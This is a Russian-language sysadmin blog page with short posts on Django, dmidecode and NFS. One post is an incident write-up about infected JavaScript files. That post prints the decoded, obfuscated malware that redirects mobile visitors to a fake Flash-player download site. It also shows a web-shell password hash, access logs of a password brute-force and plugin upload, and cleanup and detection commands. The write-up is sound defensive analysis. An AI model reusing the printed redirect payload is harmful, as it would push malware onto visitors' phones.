Рубрика: Новости

  • Django virtualenv

    небольшая шпаркалка по создании Виртуального пространства и установки самых необходимых пакетов

    virtualenv --no-site-packages src
    source bin/activate
    easy_install django
    easy_install -U distribute
    easy_install mysql-pythonCode language: Bash (bash)
  • Вирус в JS файлах

    На одном клиентском сайте на левом сервере вдруг обнаружилось, что все мобильные устройства редиректятся на

     newbestflashplayer.ruCode language: Bash (bash)

    В притом на устройствах андройда сразу проходит установка этого чудо флеш плеера ниочём не спрашивая.

    разбор полётов выяснил что в сайте\сайтах на сервере были заражены все JS файлы вот таким кодом

    ;document.write(unescape("%3C%73%63%72%69%70%74%20%74%793B%3C%2
    F%73%63%72%69%70%74%3E"));Code language: Bash (bash)

    я середину скрипта вырезал ибо смысла нет гуглится будет и по началу и по концу
    немного дешифровав его я получил вот такой

     ;document.write(unescape("<script type="text/javascript">
    eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String))
    {while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])
    p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}
    ('7 1=8.9.a(/(b)|(e)|(f)|(h)|(j)|(k)|(l)|(m)|(n)|(o)|(p)|(q)|(r)|(s)|(u-)|(w)|(x)|(y)|(z)|(A)|(B)|(C)|(D)|(E)|(F)|(G)|(0-c)|(0-d)|(0-g)|(H-)|(I)|(J)|(2)|(K)|(L)|(M)|(N-)|(O)|(P)|(Q-)|(R)|(S)|(T)|(U)|(V)|(W)|(X)|(Y)|(Z)|(10)|(11)|(12)|(13)|(14)|(15)|(16)|(17)|(18-)|(19-)|(1a)|(1b)|(1c-)|(1d)|(1e-)|(1f)|(1g)|(1h)|(1i)|(1j-)|(1k)|(t-1l)|(1m)|(1n-)|(1o)|(1p-)|(1q)|(1r)|(1s-v)|(1t)|(1u)|(3-)|(1v)|(1w)|(1x)|(1y)|(1z)|(4)|(4)|(5)|(5-)|(6.1A)|(6.1B)|(1C.1D)|(1E)|(1F)|(1G)|(1H)|(2)|(3)|(1I)|(1J)|(1K)|(1L)|(1M)|(1N)|(1O)|(1P.1Q)|(1R)|(1S)/i);1T(1)
    {1U.1V.1W="1X"}',62,122,'lg|ismobile|midp|wap|winw|xda|up|var|navigator|userAgent|match|acs|||alav|alca||amoi||audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc||cmd||dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lge|maui|maxo|mits|mmef|mobi|mot|moto|mwbp|nec|newt|noki|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany|sch|sec|send|seri|sgh|shar|sie|siem|smal|smar|sony|sph|symb|mo|teli|tim|tosh|tsm|upg1|upsi|vk|voda|w3cs|wapa|wapi|wapp|wapr|webc|browser|link|windows|ce|iemobile|mini|mmp|symbian|phone|pocket|mobile|android|pda|PPC|Series60|Opera|Mini|ipad|iphone|if|document|location|href|http://newbestflashplayer.ru/l=32411818076a1a0a5f0a50541c1e024f671d5c5e58651d'.split('|'),0,{}));</script>"));Code language: Bash (bash)

    это оставлено тоже для тезх кто будет гуглить….

    в общем чтоб вырезать эту ересь собрался вот такая вот команда

    find ./ -type f -name "*.js" -exec perl -pi -e 's/\;document.write\(unescape\(\"\%3C\%73.*\%3E\"\)\);//g''' '{}' \;Code language: Bash (bash)

    Отдельная история как это могло попасть на сервер…..

    UPD1
    про комманду

    find ./ -type f -name "*.js" -exec perl -pi -e 's/\;document.write\(unescape\(\"\%3C\%73.*\%3E\"\)\);//g''' '{}' \;Code language: Bash (bash)

    тело вируса заменяется пустым, тело вируса вписываем сюда
    's/\;document.write\(unescape\(\"\%3C\%73.*\%3E\"\)\);//g'''
    начало его и конец, до точки начало, после точки конец с экранированием спец символов через \
    после второго заражения код вируса немного поменялся, и последние цифры были уже другие.

    Для того, чтоб зараза заного не расспространялась ищите залитый shell чаще всего мне попадаются WSO 2.5 легко гуглится, и даже себе спецом заливал его для эксперементов по настройке защиты сервера.
    удалось мне обезвредить его, для того чтоб он стал беспомощьным, и мог навредить только одному сайту, куда он залит…

    про то как он мог попасть на сервер.
    вариантов не много
    1 кто-то протроянился утекли фтп доступы
    2 использование шаблонов\модулей\компонентов скачанных с сомнительных сайтов
    делаем поиск по всем пхп файлам… ну скажем у меня было несколько шеллов не полностью закодированные, а частично первые строки были открыты
    $auth_pass = "d738664f57d0cc63169931feb9f91cb5";
    введя в поиск все пхп файлы где есть слово $auth_pass я нашёл ещё десяток другой разбросанных файлов….
    ещё очень рекомендую внимательно посмотреть все файлы содержащие

    конструкцию
    preg_replace("/.*/e
    также внимательно посмотреть все файлы, что используют eval(

    Дальше.. про настройку сервера, чтоб шеллы не работали поговорим отдельно..

    UPD2
    Пошёл другие подвласные мне сервера искать, нашёл 2 шелла ещё, один в джумле полноценно установлен плагин системный


    дальше всё стандартно

    как установили, на 99% уверен что подобрали пароль.
    потому, что админский пароль быль простой из словарей
    а в логах невероятно много проб зайти в админку

    31.202.231.7 - - [12/Mar/2013:03:57:14 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
    31.202.231.7 - - [12/Mar/2013:03:57:15 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
    31.202.231.7 - - [12/Mar/2013:03:57:15 +0800] "GET /administrator/index.php HTTP/1.0" 200 5237
    31.202.231.7 - - [14/Mar/2013:00:27:59 +0800] "GET /administrator/ HTTP/1.0" 200 5318
    31.202.231.7 - - [14/Mar/2013:00:28:03 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
    31.202.231.7 - - [14/Mar/2013:00:28:03 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
    31.202.231.7 - - [14/Mar/2013:00:28:04 +0800] "GET /administrator/index.php HTTP/1.0" 200 5237
    31.202.231.7 - - [16/Mar/2013:01:46:18 +0800] "GET /administrator/ HTTP/1.0" 200 5318
    31.202.231.7 - - [16/Mar/2013:01:46:19 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
    31.202.231.7 - - [16/Mar/2013:01:46:19 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
    31.202.231.7 - - [16/Mar/2013:01:46:20 +0800] "GET /administrator/index.php HTTP/1.0" 200 5237
    31.202.231.7 - - [17/Mar/2013:14:23:59 +0800] "GET /administrator/ HTTP/1.0" 200 5318
    31.202.231.7 - - [17/Mar/2013:14:24:00 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
    31.202.231.7 - - [17/Mar/2013:14:24:00 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
    31.202.231.7 - - [17/Mar/2013:14:24:01 +0800] "GET /administrator/index.php HTTP/1.0" 200 5237Code language: Bash (bash)

    ещё один из методов поиска через логи, если в джумле включен ЧПУ то прямые обращения к *.php файлам будут подозрительны, проверим.

    ну скажем
    вот так

    cat apache-access.log | grep .phpCode language: Bash (bash)

    ну и недолго листая список видим

    95.141.44.170 - - [10/Mar/2013:20:12:03 +0800] "GET /administrator/index.php HTTP/1.0" 200 2513
    95.141.44.170 - - [10/Mar/2013:20:12:12 +0800] "POST /administrator/index.php HTTP/1.0" 303 333
    95.141.44.170 - - [10/Mar/2013:20:12:13 +0800] "GET /administrator/index.php HTTP/1.0" 200 5571
    95.141.44.170 - - [10/Mar/2013:20:12:25 +0800] "GET /administrator/index.php?option=com_installer HTTP/1.0" 200 5327
    95.141.44.170 - - [10/Mar/2013:20:12:33 +0800] "POST /administrator/index.php?option=com_installer&view=install HTTP/1.0" 303 367
    95.141.44.170 - - [10/Mar/2013:20:12:34 +0800] "GET /administrator/index.php?option=com_installer&view=install HTTP/1.0" 200 5423
    95.141.44.170 - - [10/Mar/2013:20:12:39 +0800] "GET /plugins/system/core/core.php HTTP/1.0" 200 360
    95.141.44.170 - - [10/Mar/2013:21:23:58 +0800] "GET /plugins/system/core/core.php HTTP/1.0" 200 3364Code language: Bash (bash)

    ага видим, что этот айпишник делал.

    # cat apache-access.log | grep 95.141.44.170
    95.141.44.170 - - [29/Nov/2012:16:11:41 +0800] "GET /administrator/index.php HTTP/1.0" 200 5318
    95.141.44.170 - - [29/Nov/2012:16:11:42 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
    95.141.44.170 - - [29/Nov/2012:16:11:42 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
    95.141.44.170 - - [29/Nov/2012:16:54:56 +0800] "GET /administrator/index.php HTTP/1.0" 200 5318
    95.141.44.170 - - [29/Nov/2012:16:54:56 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
    95.141.44.170 - - [29/Nov/2012:16:54:57 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
    95.141.44.170 - - [29/Nov/2012:17:35:36 +0800] "GET /administrator/index.php HTTP/1.0" 200 5318
    95.141.44.170 - - [29/Nov/2012:17:35:37 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
    95.141.44.170 - - [29/Nov/2012:17:35:37 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
    95.141.44.170 - - [29/Nov/2012:18:16:35 +0800] "GET /administrator/index.php HTTP/1.0" 200 5318
    95.141.44.170 - - [29/Nov/2012:18:16:36 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
    95.141.44.170 - - [29/Nov/2012:18:16:36 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
    95.141.44.170 - - [29/Nov/2012:18:58:51 +0800] "GET /administrator/index.php HTTP/1.0" 200 5318
    95.141.44.170 - - [29/Nov/2012:18:58:52 +0800] "POST /administrator/index.php HTTP/1.0" 303 288
    95.141.44.170 - - [29/Nov/2012:18:58:53 +0800] "GET /administrator/index.php HTTP/1.0" 200 5508
    95.141.44.170 - - [10/Mar/2013:20:12:03 +0800] "GET /administrator/index.php HTTP/1.0" 200 2513
    95.141.44.170 - - [10/Mar/2013:20:12:12 +0800] "POST /administrator/index.php HTTP/1.0" 303 333
    95.141.44.170 - - [10/Mar/2013:20:12:13 +0800] "GET /administrator/index.php HTTP/1.0" 200 5571
    95.141.44.170 - - [10/Mar/2013:20:12:25 +0800] "GET /administrator/index.php?option=com_installer HTTP/1.0" 200 5327
    95.141.44.170 - - [10/Mar/2013:20:12:33 +0800] "POST /administrator/index.php?option=com_installer&view=install HTTP/1.0" 303 367
    95.141.44.170 - - [10/Mar/2013:20:12:34 +0800] "GET /administrator/index.php?option=com_installer&view=install HTTP/1.0" 200 5423
    95.141.44.170 - - [10/Mar/2013:20:12:39 +0800] "GET /plugins/system/core/core.php HTTP/1.0" 200 360
    95.141.44.170 - - [10/Mar/2013:21:23:58 +0800] "GET /plugins/system/core/core.php HTTP/1.0" 200 3364Code language: Bash (bash)

    ну вот подбирал пароль, подобрал и залил плагин.
    сейчас просто волна видимо пошла….
    шелл я нашёл поиском, навредить не успел, ну и меняйте господа пароли…

  • Узнать модель материнской платы linux

    Начала на одном сервере на основе PC помирать мама, то включается с 20й попытки то на этапе биоса повиснет… в общем пора менять, но как узнать что там? онаж в стойке в куче проводов и т.п.

    нибеда

    dmidecodeCode language: Bash (bash)

    и внимательно изучить

    можно например посмотреть какой процессор

    # dmidecode 2.9
    SMBIOS 2.4 present.
    32 structures occupying 1517 bytes.
    Table at 0x000E3410.
    
    Handle 0x0000, DMI type 4, 35 bytes
    Processor Information
            Socket Designation: CPU1
            Type: Central Processor
            Family: <OUT OF SPEC>
            Manufacturer: Intel(R) Corporation
            ID: 76 06 01 00 FF FB EB BF
            Version: Intel(R) Core(TM)2 Extreme CPU X9650  @ 3.00GHz
            Voltage: 1.6 V
            External Clock: 333 MHz
            Max Speed: 4000 MHz
            Current Speed: 3000 MHz
            Status: Populated, Enabled
            Upgrade: Socket LGA775
            L1 Cache Handle: 0x0003
            L2 Cache Handle: 0x0001
            L3 Cache Handle: Not Provided
            Serial Number: Not Specified
            Asset Tag: Not Specified
            Part Number: Not SpecifiedCode language: Bash (bash)

    Версию биоса

    BIOS Information
            Vendor: Intel Corp.
            Version: BTX3810J.86A.2006.2009.1023.1057
            Release Date: 10/23/2009
            Address: 0xF0000
            Runtime Size: 64 kB
            ROM Size: 2048 kBCode language: Bash (bash)

    ну и маму

    Base Board Information
            Manufacturer: Intel Corporation
            Product Name: DX48BT2
            Version: AAE26191-204
            Serial Number: BQBQ815001VQ
            Asset Tag: Base Board Asset Tag
            Features:
                    Board is a hosting board
                    Board is replaceable
            Location In Chassis: Base Board Chassis Location
            Chassis Handle: 0x0007
            Type: Unknown
            Contained Object Handles: 0Code language: Bash (bash)

    Также можно посмотреть какие PCI устройства (точнее то, что у нас есть на «южном мосту») у нас есть

    lspciCode language: Bash (bash)
  • NFS клиент windows 7

    Вот прижало значит смонитровать, должно быть примерно так

     

    Дальше всё примерно вот так

    mount 192.168.100.5:/home/files x:Code language: Bash (bash)

     

  • Django admin скрыть поле для всех кроме SuperAdmin

    Продолжая сегодняшнюю серию постов о Django

    К прошлому посту
    Добавим вот что, надо чтоб супер админ видел все поля, а простые пользователи не могли видеть поле «автор»

    Для этого сделаем простых два движения, для добавления нового и для изменения текущего

        def add_view(self, request, form_url='', extra_context=None):
            if not request.user.is_superuser:
                self.exclude=('author', )
            return super(ListAdmin, self).add_view(request, form_url='', extra_context=None)
        def change_view(self, request, object_id, extra_context=None):
            if not request.user.is_superuser:
                self.exclude=('author', )
            return super(ListAdmin, self).change_view(request, object_id, extra_context=None)Code language: Python (python)